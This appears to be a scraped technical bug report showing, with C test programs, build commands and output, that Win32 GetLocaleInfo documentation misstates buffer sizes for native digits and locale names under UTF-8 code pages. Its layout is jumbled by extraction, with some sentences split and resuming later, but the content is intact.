	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LCID	lcid = MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_DEFAULT), SORT_DEFAULT);
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	INT	niWide;
	INT	niSystem;
	INT	niNative;
	CHAR	szNative[11];
	CHAR	szSystem[11];
	WCHAR	szWide[11];
#ifndef BLUNDER
	UINT	cpid;
#endif
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		niSystem = GetLocaleInfoA(lcid,
		                          LOCALE_SNATIVEDIGITS | LOCALE_USE_CP_ACP,
		                          szSystem,
		                          sizeof(szSystem));
		if (niSystem == 0)
			PrintConsole(hError,
			             L"GetLocaleInfo() returned error %lu for LCTYPE 0x%08lX\n",
			             dwError = GetLastError(), LOCALE_SNATIVEDIGITS | LOCALE_USE_CP_ACP);
		niNative = GetLocaleInfoA(lcid,
		                          LOCALE_SNATIVEDIGITS,
		                          szNative,
		                          sizeof(szNative));
		if (niNative == 0)
			PrintConsole(hError,
			             L"GetLocaleInfo() returned error %lu for LCTYPE 0x%08lX\n",
			             dwError = GetLastError(), LOCALE_SNATIVEDIGITS);
		if ((niNative != niSystem) || (memcmp(szNative, szSystem, niSystem) != 0))
		{
#ifndef BLUNDER
			niWide = GetLocaleInfoA(lcid,
			                        LOCALE_IDEFAULTANSICODEPAGE | LOCALE_RETURN_NUMBER,
			                        &cpid,
			                        sizeof(cpid));
			if (niWide == 0)
				PrintConsole(hError,
				             L"GetLocaleInfo() returned error %lu for LCTYPE 0x%08lX\n",
				             dwError = GetLastError(), LOCALE_IDEFAULTANSICODEPAGE | LOCALE_RETURN_NUMBER);
			else
			{
				niWide = MultiByteToWideChar(cpid,
				                             MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
				                             szNative,
				                             niNative,
				                             szWide,
				                             sizeof(szWide) / sizeof(*szWide));
				if (niWide == 0)
					PrintConsole(hError,
					             L"MultiByteToWideChar() returned error %lu\n",
					             dwError = GetLastError());
			}
#else // BLUNDER
			niWide = GetLocaleInfo(lcid,
			                       LOCALE_SNATIVEDIGITS,
			                       szWide,
			                       sizeof(szWide) / sizeof(*szWide));
			if (niWide == 0)
				PrintConsole(hError,
				             L"GetLocaleInfo() returned error %lu for LCTYPE 0x%08lX\n",
				             dwError = GetLastError(), LOCALE_SNATIVEDIGITS);
#endif // BLUNDER
			if (niWide == 0)
				*szWide = L'\0';
			PrintConsole(hError,
			             L"GetLocaleInfo() returned native string \'%ls\' of %d characters but different ACP string \'%hs\' of %d characters\n",
			             szWide, niNative, szSystem, niSystem);
		}
	}
	ExitProcess(dwError);
}LOCALE_ALL
            LOCALE_ALLOW_NEUTRAL
            LOCALE_ALLOW_NEUTRAL_NAMES
            LOCALE_ALTERNATE_SORTS
            LOCALE_CUSTOM*
            LOCALE_FONTSIGNATURE
            LOCALE_ICALENDARTYPE
            LOCALE_ICENTURY
            LOCALE_ICOUNTRY
            LOCALE_ICURRDIGITS
            LOCALE_ICURRENCY
            LOCALE_IDATE
            LOCALE_IDAYLZERO
            LOCALE_IDEFAULT*
            LOCALE_IDIALINGCODE
            LOCALE_IDIGITS
            LOCALE_IDIGITSUBSTITUTION
            LOCALE_IFIRSTDAYOFWEEK
            LOCALE_IFIRSTWEEKOFYEAR
            LOCALE_IGEOID
            LOCALE_IINTLCURRDIGITS
            LOCALE_ILANGUAGE
            LOCALE_ILDATE
            LOCALE_ILZERO
            LOCALE_IMEASURE
            LOCALE_IMONLZERO
            LOCALE_INEG*
            LOCALE_INEGATIVEPERCENT
            LOCALE_INEUTRAL
            LOCALE_INVARIANT
            LOCALE_IOPTIONALCALENDAR
            LOCALE_IPAPERSIZE
            LOCALE_IPOSITIVEPERCENT
            LOCALE_IPOS*
            LOCALE_IREADINGLAYOUT
            LOCALE_ITIME
            LOCALE_ITIMEMARKPOSN
            LOCALE_ITLZERO
            LOCALE_IUSEUTF8LEGACYACP
            LOCALE_IUSEUTF8LEGACYOEMCP
            LOCALE_NAME*
            LOCALE_NEUTRAL
            LOCALE_NEUTRALDATA
            LOCALE_NOUSEROVERRIDE
            LOCALE_REPLACEMENT
            LOCALE_RETURN*
            LOCALE_S1159
            LOCALE_S2359
            LOCALE_SABBREV*
            LOCALE_SAM
            LOCALE_SCONSOLEFALLBACKNAME
            LOCALE_SCOUNTRY
            LOCALE_SCURRENCY
            LOCALE_SDATE
            LOCALE_SDAYNAME*
            LOCALE_SDECIMAL
            LOCALE_SDURATION
            LOCALE_SENG*
            LOCALE_SENGLISH*
            LOCALE_SGROUPING
            LOCALE_SIETFLANGUAGE
            LOCALE_SINTLSYMBOL
            LOCALE_SISO*
            LOCALE_SKEYBOARDSTOINSTALL
            LOCALE_SLANGDISPLAYNAME
            LOCALE_SLANGUAGE
            LOCALE_SLIST
            LOCALE_SLOCALIZED*
            LOCALE_SLONGDATE
            LOCALE_SMON*
            LOCALE_SMONTHDAY
            LOCALE_SMONTHNAME*
            LOCALE_SNAME
            LOCALE_SNAN
            LOCALE_SNATIVE*
            LOCALE_SNEGATIVESIGN
            LOCALE_SNEGINFINITY
            LOCALE_SOPENTYPELANGUAGETAG
            LOCALE_SORTNAME
            LOCALE_SPARENT
            LOCALE_SPECIFICDATA
            LOCALE_SPERCENT
            LOCALE_SPERMILLE
            LOCALE_SPM
            LOCALE_SPOSINFINITY
            LOCALE_SPOSITIVESIGN
            LOCALE_SSCRIPTS
            LOCALE_SSHORTDATE
            LOCALE_SSHORTESTDAYNAME*
            LOCALE_SSHORTESTPM
            LOCALE_SSHORTTIME
            LOCALE_SSORT*
            LOCALE_STHOUSAND
            LOCALE_STIME*
            LOCALE_SUPPLEMENTAL
            LOCALE_SYEARMONTH
            LOCALE_SYSTEM_DEFAULT
            LOCALE_USE_CP_ACP
            LOCALE_USER_DEFAULT
            LOCALE_WINDOWS
            LOCALE_NAME_MAX_LENGTH
            MAKELANGID
            MAKELANGID
            MAKELCID
            MAKELCID
            Character Sets
            Code Pages
            Code Page Identifiers
            Code Page Identifiers
            Language Identifier Constants and Strings
            Language Identifier Constants and Strings
            Locale Identifier Constants and Strings
            Locale Identifier Constants and Strings
            Unicode and Character Sets
            Unicode and Character Sets
            Unicode in the Windows API
            Unicode in the Windows API
            EnumLocalesProcEx()
            EnumLocalesProcEx()
            EnumSystemLocalesEx()
            EnumSystemLocalesEx()
            GetACP()
            GetACP()
            GetLocaleInfo()
            GetLocaleInfo()
            GetLocaleInfoEx()
            GetLocaleInfoEx()
            GetOEMCP()
            GetOEMCP()
            IsValidLocale()
            IsValidLocale()
            IsValidLocaleName()
            IsValidLocaleName()
            MultiByteToWideChar()
            MultiByteToWideChar()
            ResolveLocaleName()
            SetLocaleInfo()
            SetLocaleInfo()
            SetThreadLocale()
            SetThreadLocale()
            WideCharToMultiByte()
            WideCharToMultiByte()
         Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2.:
        
VER .\blunder.exe
Microsoft Windows [Version 6.1.7601]
GetLocaleInfo() returned native string '0123456789' of 11 characters but different ACP string '??????????' of 11 characters
            OUCH: contrary to the highlighted statements of the
            second documentation cited above, the Win32 function
            GetLocaleInfo()
            fails to return the native equivalents of the digits 0 to 9!
         OOPS: the
            LOCALE_USE_CP_ACP
            locale information constant
            is honored on versions after Windows 2000 too!
        
 Note: the 10 question marks are expected –
            the native Arabic numerals are not representable in
            code cage 1252
            alias Windows-1252 and replaced with the substitution
            character ?!
            Code Page 1250 Windows Latin 2 (Central Europe)
            Code Page 1251 Windows Cyrillic (Slavic)
            Code Page 1252 Windows Latin 1 (ANSI)
            Code Page 1253 Windows Greek
            Code Page 1254 Windows Latin 5 (Turkish)
            Code Page 1255 Windows Hebrew
            Code Page 1256 Windows Arabic
            Code Page 1257 Windows Baltic Rim
        
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 4.:
        
VER .\blunder.exe
Microsoft Windows [Version 6.1.7601] GetLocaleInfo() returned native string '٠١٢٣٤٥٦٧٨٩' of 11 characters but different ACP string '??????????' of 11 characters
MAKELCID(LANG_CHINESE_TRADITIONAL, SORT_DEFAULT),
            MAKELCID(MAKELANGID(LANG_JAPANESE, SUBLANG_DEFAULT), SORT_DEFAULT),
            MAKELCID(MAKELANGID(LANG_THAI, SUBLANG_DEFAULT), SORT_DEFAULT),
            MAKELCID(MAKELANGID(LANG_VIETNAMESE, SUBLANG_DEFAULT), SORT_DEFAULT)
            or
            MAKELCID(MAKELANGID(LANG_ARMENIAN, SUBLANG_DEFAULT), SORT_DEFAULT)
            is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
 Windows 10 1903 and later versions finally support
            UTF-8
            with the A
 forms of the Win32 functions:
        
As of Windows Version 1903 (May 2019 Update), you can use the ActiveCodePage property in the appxmanifest for packaged apps, or the fusion manifest for unpackaged apps, to force a process to use UTF-8 as the process code page.The documentation for the Win32 function[…]
Win32 APIs often support both -A and -W variants.
-A variants recognize the ANSI code page configured on the system and support
char*, while -W variants operate in UTF-16 and supportWCHAR.Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.
[…]
Note
CP_ACPequates toCP_UTF8only if running on Windows Version 1903 (May 2019 Update) or above and the ActiveCodePage property described above is set to UTF-8. Otherwise, it honors the legacy system code page. We recommend usingCP_UTF8explicitly.
GetLocaleInfo()
            states:
        Retrieves information about a locale specified by identifier.OOPS⁰: contrary to the highlighted note of its documentation, the[…]
Note For global compatibility, the application should prefer the Unicode "W" API forms to the "A" forms. GetLocaleInfoA will limit the character data and could result in results that appear corrupted to users, particularly in globally enabled applications. For this API, GetLocaleInfoEx is preferred as it is Unicode and also supports modern locale name standards.Parametersint GetLocaleInfo( [in] LCID Locale, [in] LCTYPE LCType, [out, optional] LPTSTR lpLCData, [in] int cchData );
[in] LocaleLocale identifier for which to retrieve information. […]
[in] LCTypeThe locale information to retrieve. For detailed definitions, see the LCType parameter of GetLocaleInfoEx.
Note For GetLocaleInfo, the value LOCALE_USE_CP_ACP is relevant only for the ANSI version.
[out, optional] lpLCDataPointer to a buffer in which this function retrieves the requested locale information. This pointer is not used if cchData is set to 0. For more information, see the Remarks section.
[in] cchDataSize, in TCHAR values, of the data buffer indicated by lpLCData. Alternatively, the application can set this parameter to 0. In this case, the function does not use the lpLCData parameter and returns the required buffer size, including the terminating null character.
[…]
Remarks
For the operation of this function, see Remarks for GetLocaleInfoEx.
Aform of this function supports but Unicode too in Windows 10 1903 and later versions!
 The documentation for the Win32 function
            GetLocaleInfoEx()
            states:
        
Retrieves information about a locale specified by name.CAVEAT: this function supports Unicode but only in UTF-16LE encoding, not in UTF-8 encoding, as theNote The application should call this function in preference to GetLocaleInfo if designed to run only on Windows Vista and later.[…][…]int GetLocaleInfoEx( [in, optional] LPCWSTR lpLocaleName, [in] LCTYPE LCType, [out, optional] LPWSTR lpLCData, [in] int cchData );
[in, optional] lpLocaleNamePointer to a locale name, or one of the following predefined values. […]
[in] LCTypeThe locale information to retrieve. For possible values, see the "Constants Used in the LCType Parameter of GetLocaleInfo, GetLocaleInfoEx, and SetLocaleInfo" section in Locale Information Constants. […]
[out, optional] lpLCDataPointer to a buffer in which this function retrieves the requested locale information. This pointer is not used if cchData is set to 0.
[in] cchDataSize, in characters, of the data buffer indicated by lpLCData. Alternatively, the application can set this parameter to 0. In this case, the function does not use the lpLCData parameter and returns the required buffer size, including the terminating null character.
GetLocaleInfoA()
            function does in Windows 10 1903 and later versions!
         The documentation for the
            LOCALE_NAME*
            locale information constants
            specifies:
        
Note: these documentations useThis topic defines the LOCALE_NAME* constants used by NLS.
Value Meaning … … LOCALE_NAME_MAX_LENGTH Maximum length of a locale name. The maximum number of characters allowed for this string is 85, including a terminating null character. Note: Your application must use the constant for the maximum locale name length, instead of hard-coding the value "85". 
characteras synonym for
code unit– two bytes for Windows native UTF-16 encoding, else one byte.
 CAVEAT: in
            UTF-16
            encoding, 85 code units can store 84 code points from the
            Basic Multilingual Plane
            or 42 code points of
            supplementary characters
            from the supplementary planes, plus the terminating NUL
            – in
            UTF-8
            encoding they allow in the worst case to store but only 28 code points
            points from the Basic Multilingual Plane
 or 21 code points
            from the supplementary planes, plus the terminating NUL!
        
 The documentation for the
            LOCALE_SLOCALIZED*
            locale information constants
            states:
        
The documentation for theThis topic defines the LOCALE_SLOCALIZED* constants used by NLS.
Value Meaning LOCALE_SLOCALIZEDCOUNTRYNAME Windows 7 and later: Full localized name of the country/region, for example, Deutschland for Germany. The maximum number of characters allowed for this string is 80, including a terminating null character. […] 
LOCALE_SNATIVE*
            locale information constants
            states:
        OUCH⁰: including a terminatingThis topic defines the LOCALE_SNATIVE* constants used by NLS to represent native language names.
Value Meaning LOCALE_SNATIVECOUNTRYNAME Windows 7 and later: Native name of the country/region, for example, Españafor Spain. The maximum number of characters allowed for this string is 80, including a terminating null character.… … LOCALE_SNATIVEDIGITS Native equivalents of ASCII 0 through 9. The maximum number of characters allowed for this string is eleven, including a terminating null character. For example, Arabic uses ٠١٢٣٤٥٦٧٨٩. See also LOCALE_IDIGITSUBSTITUTION.… … LOCALE_SNATIVELANGUAGENAME Windows 7 and later: Native name of the language, for example, Հայերենfor Armenian (Armenia). The maximum number of characters allowed for this string is 80, including a terminating null character.
NUL, the
            UTF-8
            encoded character string
            u"٠١٢٣٤٥٦٧٨٩"
            alias
            "\xD9\xA0\xD9\xA1\xD9\xA2\xD9\xA3\xD9\xA4\xD9\xA5\xD9\xA6\xD9\xA7\xD9\xA8\xD9\xA9"
            occupies but 21 instead of 11 characters – the second
            highlighted statement of this documentation as well as the
            highlighted statement of the first documentation cited above is
            therefore misleading and wrong!
         Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 4. of
            Blunder № 50:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- (C)opyright 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <application xmlns='urn:schemas-microsoft-com:asm.v3'>
        <windowsSettings>
            <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
        </windowsSettings>
    </application>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
        <application>
            <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
        </application>
    </compatibility>
    <description>Blunder Console Application</description>
</assembly>application is (at least) clumsy and error-prone!
         Embed the
            application manifest
            blunder.xml created in step 1. in the console
            application blunder.exe built in step 4. of
            Blunder № 50:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe modified in
            step 2. on Windows 10 1903 or any later version
            and evaluate its exit code:
        
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft Windows [Version 10.0.20348.230]
GetLocaleInfo() returned error 122 for LCTYPE 0x40000013
GetLocaleInfo() returned native string '0123456789' of 11 characters but different ACP string '٠١٢٣٤' of 0 characters
0x7a (WIN32: 122 ERROR_INSUFFICIENT_BUFFER) -- 122 (122)
Error message text: The data area passed to a system call is too small.
CertUtil: -error command completed successfully.
            OUCH¹: contrary to the highlighted statement
            of the first documentation cited above, the console application
            blunder.exe fails with Win32 error code
            122 alias
            ERROR_INSUFFICIENT_BUFFER
            when its
            ANSI
            code page
            is set to 65001 alias CP_UTF8 – existing code
            built with -A
            APIs will
            typically cease to run due to buffer overflows or
            even fail with buffer overruns!
         OOPS¹: although the Win32
            function
            GetLocaleInfo()
            returns 0, it writes
            u"٠١٢٣٤" alias
            "\xD9\xA0\xD9\xA1\xD9\xA2\xD9\xA3\xD9\xA4" to
            its output buffer – 10
            UTF-8
            code units plus a terminating NUL which fit into eleven
            bytes!
        
 Create the text file blunder.c with the following
            content next to the
            application manifest
            blunder.xml created in step 1.:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
const	LCTYPE	lcType[] = {LOCALE_SLOCALIZEDCOUNTRYNAME | LOCALE_USE_CP_ACP,
		            LOCALE_SNATIVECOUNTRYNAME | LOCALE_USE_CP_ACP,
		            LOCALE_SNATIVELANGUAGENAME | LOCALE_USE_CP_ACP,
		            LOCALE_SNATIVEDIGITS | LOCALE_USE_CP_ACP};
const	LPCWSTR	szType[] = {L"LOCALE_SLOCALIZEDCOUNTRYNAME",
		            L"LOCALE_SNATIVECOUNTRYNAME",
		            L"LOCALE_SNATIVELANGUAGENAME",
		            L"LOCALE_SNATIVEDIGITS"};
const	INT	niType[] = {80, 80, 80, 11};
BOOL	WINAPI	LocaleEnumProcEx(LPCWSTR lpLocaleName,
		                 DWORD   dwFlags,
		                 LPARAM  lParam)
{
	HANDLE	hConsole = (HANDLE) lParam;
	DWORD	dwType = 0UL;
	LCID	lcid = LocaleNameToLCID(lpLocaleName, LOCALE_ALLOW_NEUTRAL_NAMES);
	INT	niInfo;
	if (lcid == LOCALE_NEUTRAL)
		PrintConsole(hConsole,
		             L"LocaleNameToLCID() returned error %lu for \'%ls\'\n",
		             GetLastError(), lpLocaleName);
	else
		do
		{
			niInfo = GetLocaleInfoA(lcid, lcType[dwType], (LPSTR) NULL, 0);
			if (niInfo == 0)
				PrintConsole(hConsole,
				             L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX alias \'%ls\'\n",
				             GetLastError(), szType[dwType], lcid, lpLocaleName);
			else if (niInfo > niType[dwType])
				PrintConsole(hConsole,
				             L"Character count %d returned for %ls of LCID 0x%08lX alias \'%ls\' exceeds %d\n",
				             niInfo, szType[dwType], lcid, lpLocaleName, niType[dwType]);
		}
		while (++dwType < sizeof(lcType) / sizeof(*lcType));
	return TRUE;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		if (!EnumSystemLocalesEx(LocaleEnumProcEx,
		                         LOCALE_ALL,
		                         (LPARAM) hError,
		                         NULL))
			PrintConsole(hError,
			             L"EnumSystemLocalesEx() returned error %lu\n",
			             dwError = GetLastError());
	ExitProcess(dwError);
}EnumLocalesProcEx()
            LocaleEnumProcEx()
            EnumSystemLocalesEx()
            EnumSystemLocalesEx()
            LocaleNameToLCID()
            LocaleNameToLCID()
         Compile and link the source file blunder.c created in
            step 4.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(45) : warning C4100: 'dwFlags' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 5. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
0
 Embed the
            application manifest
            blunder.xml created in step 1. in the console
            application blunder.exe built in step 5.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exe
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe modified in
            step 7. on Windows 10 1903 or any later version
            and evaluate its exit code:
        
VER .\blunder.exe ECHO %ERRORLEVEL%
Microsoft Windows [Version 10.0.22621.1105]
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000001 alias 'ar' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00003801 alias 'ar-AE' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00003C01 alias 'ar-BH' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000C01 alias 'ar-EG' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000801 alias 'ar-IQ' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00002C01 alias 'ar-JO' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00003401 alias 'ar-KW' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00003001 alias 'ar-LB' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00002001 alias 'ar-OM' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00004001 alias 'ar-QA' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000401 alias 'ar-SA' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00002801 alias 'ar-SY' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00002401 alias 'ar-YE' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000004D alias 'as' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044D alias 'as-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000045 alias 'bn' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000845 alias 'bn-BD' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000445 alias 'bn-IN' exceeds 11
Character count 103 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00000051 alias 'bo' exceeds 80
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000051 alias 'bo' exceeds 11
Character count 103 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00000451 alias 'bo-CN' exceeds 80
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000451 alias 'bo-CN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000C51 alias 'dz-BT' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000029 alias 'fa' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000429 alias 'fa-IR' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000047 alias 'gu' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000447 alias 'gu-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000039 alias 'hi' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000439 alias 'hi-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000053 alias 'km' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000453 alias 'km-KH' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000004B alias 'kn' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044B alias 'kn-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000057 alias 'kok' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000457 alias 'kok-IN' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000060 alias 'ks' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000460 alias 'ks-Arab' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000860 alias 'ks-Deva-IN' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000092 alias 'ku' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00007C92 alias 'ku-Arab' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000492 alias 'ku-Arab-IQ' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000054 alias 'lo' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000454 alias 'lo-LA' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000004C alias 'ml' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044C alias 'ml-IN' exceeds 11
Character count 98 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00007C50 alias 'mn-Mong' exceeds 80
Character count 98 returned for LOCALE_SNATIVECOUNTRYNAME of LCID 0x00000850 alias 'mn-Mong-CN' exceeds 80
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000058 alias 'mni' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000458 alias 'mni-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000004E alias 'mr' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044E alias 'mr-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000055 alias 'my' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000455 alias 'my-MM' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000061 alias 'ne' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000861 alias 'ne-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000461 alias 'ne-NP' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000048 alias 'or' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000448 alias 'or-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000046 alias 'pa' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00007C46 alias 'pa-Arab' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000846 alias 'pa-Arab-PK' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000446 alias 'pa-IN' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000008C alias 'prs' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000048C alias 'prs-AF' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000063 alias 'ps' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000463 alias 'ps-AF' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000004F alias 'sa' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044F alias 'sa-IN' exceeds 11
